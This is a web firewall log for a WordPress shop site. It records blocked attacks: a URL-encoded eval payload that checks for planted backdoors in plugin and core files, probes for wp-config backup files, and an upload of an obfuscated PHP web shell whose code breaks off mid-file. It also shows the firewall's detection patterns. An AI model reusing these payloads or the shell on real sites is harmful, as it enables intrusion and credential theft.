File: /www/wwwlogs/free_waf_log/dewenlabels.com_2026-04-28.log
["2026-04-28 02:20:27","213.209.159.254","POST","\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QlAazG:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Scalar\/MagicConst\/Namespace.php%22%3D%3E%22ui%40%40124003%40%40173%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Scalar\/MagicConst\/Class.php%22%3D%3E%22ui%40%40125396%40%40173%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:9253\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\n\nQlAazG=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Scalar\/MagicConst\/Namespace.php%22%3D%3E%22ui%40%40124003%40%40173%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Scalar\/MagicConst\/Class.php%22%3D%3E%22ui%40%40125396%40%40173%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]
["2026-04-28 04:20:33","103.215.75.70","HEAD","\/website-backup.zip","Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko\/20100101 Firefox\/121.0","url","^\/(vhost|bbs|host|wwwroot|www|site|root|backup|data|ftp|db|admin|website|web).*\\.(rar|sql|zip|tar\\.gz|tar)$ >> 1:\/website-backup.zip","HEAD \/website-backup.zip HTTP\/1.1\naccept:application\/zip, application\/x-tar, application\/gzip, application\/x-gzip, application\/x-compressed-tar, application\/octet-stream, *\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko\/20100101 Firefox\/121.0\nhost:dewenlabels.com\n\n"]
["2026-04-28 04:20:35","103.215.75.70","GET","\/wp-config.php.bak","Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/wp-config.php.bak","GET \/wp-config.php.bak HTTP\/1.1\ncache-control:no-cache\nuser-agent:Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nx-rewrite-url:\/wp-config.php.bak\naccept:text\/plain, *\/*\nx-original-url:\/wp-config.php.bak\n\n"]
["2026-04-28 04:20:35","103.215.75.70","GET","\/wp-config.php.old","Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/wp-config.php.old","GET \/wp-config.php.old HTTP\/1.1\ncache-control:no-cache\nuser-agent:Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nx-rewrite-url:\/wp-config.php.old\naccept:text\/plain\nx-original-url:\/wp-config.php.old\n\n"]
["2026-04-28 04:20:35","103.215.75.70","GET","\/%2577%2570%252D%2563%256F%256E%2566%2569%2567.%2570%2568%2570.%2562%2561%256B","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/wp-config.php.bak","GET \/%2577%2570%252D%2563%256F%256E%2566%2569%2567.%2570%2568%2570.%2562%2561%256B HTTP\/1.1\ncache-control:no-cache\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nx-rewrite-url:\/%2577%2570%252D%2563%256F%256E%2566%2569%2567.%2570%2568%2570.%2562%2561%256B\naccept:application\/octet-stream\nx-original-url:\/%2577%2570%252D%2563%256F%256E%2566%2569%2567.%2570%2568%2570.%2562%2561%256B\n\n"]
["2026-04-28 04:20:35","103.215.75.70","GET","\/wp-config.php~","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/wp-config.php~","GET \/wp-config.php~ HTTP\/1.1\ncache-control:no-cache\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nx-rewrite-url:\/wp-config.php~\naccept:text\/plain\nx-original-url:\/wp-config.php~\n\n"]
["2026-04-28 04:20:35","103.215.75.70","GET","\/wp-config.php.swp","Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko\/20100101 Firefox\/121.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/wp-config.php.swp","GET \/wp-config.php.swp HTTP\/1.1\ncache-control:no-cache\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko\/20100101 Firefox\/121.0\nhost:dewenlabels.com\nx-rewrite-url:\/wp-config.php.swp\naccept:text\/plain, *\/*\nx-original-url:\/wp-config.php.swp\n\n"]
["2026-04-28 08:56:44","176.88.130.63","POST","\/wp-content\/plugins\/alffbzk\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/147.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议10","POST \/wp-content\/plugins\/alffbzk\/index.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundary6Jb0SxPAeX4fL8AN\nhost:47.254.126.238\naccept-language:tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\norigin:https:\/\/47.254.126.238\nreferer:https:\/\/47.254.126.238\/wp-content\/plugins\/alffbzk\/index.php\nupgrade-insecure-requests:1\ncache-control:max-age=0\npriority:u=0, i\naccept-encoding:gzip, deflate, br, zstd\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\ncontent-length:463963\nsec-ch-ua:\"Google Chrome\";v=\"147\", \"Not.A\/Brand\";v=\"8\", \"Chromium\";v=\"147\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/147.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\n\n------WebKitFormBoundary6Jb0SxPAeX4fL8AN\r\nContent-Disposition: form-data; name=\"upload\"; filename=\"mmrp.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\r\n\/*\r\n\r\n*\/\r\n$GLOBALS['oZgNypoPRU'] = array(\r\n 'username' => 'alfa',\r\n 'password' => 'a6f452ec3293d7fb72c5b677257b20ec',\/\/md5(ehsan)\r\n 'safe_mode' => '0',\r\n 'login_page' => '403',\r\n 'show_icons' => '1',\r\n 'post_encryption' => false,\r\n 'cgi_api' => true,\r\n);\r\n\r\n$CWppUDJxuf = 'fu' . 'n' . 'ct' . 'ion_' . 'e' . 'xist' . 's';\r\n$aztJtafUXm = 'cha' . 'r' . 'C' . 'o' . 'd' . 'e' . 'A' . 't' . '';\r\n$OVpGNqqFZs = 'e' . 'v' . 'al';\r\n$psDEwGhsxg = 'gz' . 'inf' . 'late';\r\n\r\nif (!$CWppUDJxuf('b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . ''))\r\n{\r\n function vcnvSCZgBz($data)\r\n {\r\n if (empty($data)) return;\r\n $b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=';\r\n $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;\r\n $ac = 0;\r\n $enc = '';\r\n $tmp_arr = array();\r\n if (!$data)\r\n {\r\n return $data;\r\n }\r\n do\r\n {\r\n $o1 = $aztJtafUXm($data, $i++);\r\n $o2 = $aztJtafUXm($data, $i++);\r\n $o3 = $aztJtafUXm($data, $i++);\r\n $bits = $o1 << 16 | $o2 << 8 | $o3;\r\n $h1 = $bits >> 18 & 0x3f;\r\n $h2 = $bits >> 12 & 0x3f;\r\n $h3 = $bits >> 6 & 0x3f;\r\n $h4 = $bits & 0x3f;\r\n $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);\r\n }\r\n while ($i < strlen($data));\r\n $enc = implode($tmp_arr, '');\r\n $r = (strlen($data) % 3);\r\n return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3));\r\n }\r\n function charCodeAt($data, $char)\r\n {\r\n return ord(substr($data, $char, 1));\r\n }\r\n function charAt($data, $char)\r\n {\r\n return substr($data, $char, 1);\r\n }\r\n}\r\nelse\r\n{\r\n function vcnvSCZgBz($s)\r\n {\r\n $b = 'b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . '';\r\n return $b($s);\r\n }\r\n}\r\nif (!$CWppUDJxuf('b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . ''))\r\n{\r\n function zRtSHsbTzV($input)\r\n {\r\n if (empty($input)) return;\r\n $keyStr = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=\";\r\n $chr1 = $chr2 = $chr3 = \"\";\r\n $enc1 = $enc2 = $enc3 = $enc4 = \"\";\r\n $i = 0;\r\n $output = \"\";\r\n $input = preg_replace(\"[^A-Za-z0-9\\+\\\/\\=]\", \"\", $input);\r\n do\r\n {\r\n $enc1 = strpos($keyStr, substr($input, $i++, 1));\r\n $enc2 = strpos($keyStr, substr($input, $i++, 1));\r\n $enc3 = strpos($keyStr, substr($input, $i++, 1));\r\n $enc4 = strpos($keyStr, substr($input, $i++, 1));\r\n $chr1 = ($enc1 << 2) | ($enc2 >> 4);\r\n $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);\r\n $chr3 = (($enc3 & 3) << 6) | $enc4;\r\n $output = $output . chr((int)$chr1);\r\n if ($enc3 != 64)\r\n {\r\n $output = $output . chr((int)$chr2);\r\n }\r\n if ($enc4 != 64)\r\n {\r\n $output = $output . chr((int)$chr3);\r\n }\r\n $chr1 = $chr2 = $chr3 = \"\";\r\n $enc1 = $enc2 = $enc3 = $enc4 = \"\";\r\n }\r\n while ($i < strlen($input));\r\n return $output;\r\n }\r\n}\r\nelse\r\n{\r\n function zRtSHsbTzV($s)\r\n {\r\n $b = 'b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . '';\r\n return $b($s);\r\n }\r\n}\r\n\r\nfunction __ZW5jb2Rlcg($s)\r\n{\r\n return vcnvSCZgBz($s);\r\n}\r\nfunction __ZGVjb2Rlcg($s)\r\n{\r\n return zRtSHsbTzV($s);\r\n}\r\n\r\n$GLOBALS['DB_NAME'] = $GLOBALS['oZgNypoPRU'];\r\n\r\nforeach ($GLOBALS['DB_NAME'] as $key => $value)\r\n{\r\n\t$prefix = substr($key, 0, 2);\r\n\tif ($prefix == 